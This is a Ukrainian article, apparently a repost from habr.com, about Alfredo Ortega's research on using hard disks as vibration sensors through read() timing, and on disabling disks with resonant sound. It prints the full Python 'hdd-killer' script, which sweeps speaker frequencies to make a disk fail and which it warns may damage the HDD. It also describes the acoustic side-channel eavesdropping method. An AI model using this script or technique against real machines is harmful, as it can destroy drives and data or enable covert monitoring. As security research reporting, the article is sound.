Чому не можна кричати на свій HDD

Чому не можна кричати на свій HDD

На конференції з комп'ютерної безпеки Ekoparty 2017 у Буенос-Айресі аргентинський хакер Альфредо Ортега показав дуже цікаву розробку - систему прихованого прослуховування приміщень без використання мікрофона. Звук записується безпосередньо жорстким диском!

HDD вловлює в основному низькочастотні звуки високої інтенсивності, кроки та інші вібрації. Людську мову розпізнати поки не можна, хоча вчені ведуть дослідження у цьому напрямку (розпізнавання мови за низькочастотними вібраціями, які знімаються, наприклад, з гіроскопа або HDD).

Звук – це коливання повітря чи іншого середовища. Людина сприймає їх через барабанну перетинку, яка передає коливання у внутрішнє вухо. Мікрофон влаштований приблизно як вухо – тут також коливання реєструються тонкою мембраною, яка збуджує електричний імпульс. Жорсткий диск, зрозуміло, теж схильний до мікроскопічних вібрацій через коливань навколишнього повітря. Це відомо навіть за технічними характеристиками HDD: виробники зазвичай вказують максимально допустимий рівень вібрацій, а жорсткий диск часто намагаються помістити в захищений від вібрацій контейнер з гуми або іншого ізоляційного матеріалу. З цього легко зробити висновок, що HDD можна реєструвати звуки. Залишилось лише придумати, як.

Альфредо Ортега запропонував своєрідний варіант атаки сторонніми каналами (side-channel attack), а саме атаки за часом. Ця атака ґрунтується на припущенні, що різні операції виконуються у пристрої за різний час, залежно від поданих вхідних даних. В даному випадку «вхідними даними» є коливання головки, що зчитує, і пластини HDD, які корелюють з вібраціями середовища, тобто зі звуком. Таким чином, вимірюючи час обчислень та проводячи статистичний аналіз даних, можна виміряти коливання головки/пластини і, отже, вібрації середовища. Чим більша затримка в зчитуванні даних — тим сильніше коливання HDD і, отже, гучніший звук.

Як виміряти коливання жорсткого диска? Дуже просто: достатньо лише запустити системний виклик read () - І зареєструвати час, за який він виконується. Сучасні операційні системи дають змогу зчитувати таймінг системних викликів з точністю до наносекунди.

Швидкість читання інформації з сектора залежить від положення головки та пластини, що корелює з вібраціями корпусу HDD. От і все.

Статистичний аналіз здійснюється за допомогою простенької утиліти Kscope. Як то кажуть, все геніальне просто.

Чому не можна кричати на свій HDD
Утиліта Kscope (stat() syscall)

Kscope - невелика утиліта для візуалізації крихітних відмінностей у часі виконання системних викликів. Вихідний кодопубліковано на GitHub.

В окремому репозиторії hdd-time лежить версія утиліти, налаштована на атаку за часом на жорсткий диск, тобто налаштована на аналіз системного виклику read ().

Демонстрація звукозапису за допомогою HDD, робота утиліти Kscope


Звичайно ж, мова не можна розібрати в такий спосіб, але як датчик вібрацій HDD цілком згодиться. Наприклад, ви можете реєструвати, якщо в приміщення з комп'ютером зайшла людина у твердому взутті або босоніж (ймовірно, якщо зловмисник взутий у м'які кросівки або на підлозі постелений товстий килим, то HDD не зможе зареєструвати вібрації – це варто перевірити). Комп'ютер здатний зареєструвати розбите скло або іншу пригоду із сильною інтенсивністю звуку. Тобто, жорсткий диск може виконувати роль своєрідної системи виявлення несанкціонованих проникнень.

HDD-кілер

До речі, схожу техніку можна використовувати для виведення жорстких дисків. Тільки тут ми не знімаємо коливання з HDD, а навпаки – генеруємо коливання, що подаються на HDD. Якщо відтворювати з колонки звук на частоті, яка резонує з частотою HDD, система незабаром відключає пристрій з помилкою вводу-вывода (ядро Linux повністю відключає HDD через 120 секунд). Жорсткий диск може отримати незворотні пошкодження.

Чому не можна кричати на свій HDD
Ядро Linux відключило жорсткий диск після 120 секунд подачі звуку на частоті резонації через динамік USB-колонки Edifier r19u. Динамік включений приблизно на чверть потужності (менше 100 мВт) і розташовується за 20 см від HDD, спрямований на стіл для посилення вібрацій. Кадр із відеоролика з демонстрацією роботи HDD-кілера

Цікаво, що такі «атаки» на HDD іноді відбуваються випадково у звичайному житті. Наприклад, у вересні 2016 року дата-центр ING Bank був змушений призупинити роботу на 10 годину після пожежних навчань. Десятки жорстких дисків вийшли з ладу через гучний звук інертного газу, що випускається з балонів під великим тиском. Звук був дуже гучним (понад 130 дБ), а навіть кричати на жорсткі диски не можна - це збільшує затримку доступу до HDD.

Демонстрація людського крику на жорсткі диски в центрі дати. Вимірювання затримки


Для створення резонуючого звуку Альфредо Ортега написав пітонівський скрипт під назвою hdd-killer (демонстрація на відео).

Скрипт HDD-кілера зовсім невеликий так що можна його опублікувати тут.

"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""

import pyaudio
import time
import sys
import math
import random

RATE=48000
FREQ=50

# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
    print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
	  "The disk will be opened as read-only.n" + 
          "Warning: It might cause damage to HDD.n" +
          "Usage: %s /dev/sdX" % sys.argv[0]
    sys.exit(-1)

# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ

# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
    global x1,FREQ,NEWFREQ
    data=''
    sample=0
    for x in xrange(frame_count):
        oldsample=sample
        sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
        data = data+sample
        # continous frequency change
        if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
                FREQ=NEWFREQ
                x1=0
        x1+=1
    return (data, pyaudio.paContinue)

# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
                channels=1,
                rate=RATE,
                output=True,
                stream_callback=callback)

# start the stream (4)
stream.start_stream()

# wait for stream to finish (5)
while stream.is_active():
    timeprom=0
    c=file(sys.argv[1])
    for i in xrange(20):
        a=time.clock()
        c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
        c.read(51200)
        b=time.clock()
        timeprom+=b-a
    c.close()
    timeprom/=20
    print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
    NEWFREQ+=0.5

# stop stream (6)
stream.stop_stream()
stream.close()

# close PyAudio (7)
p.terminate()

Джерело: habr.com

Додати коментар або відгук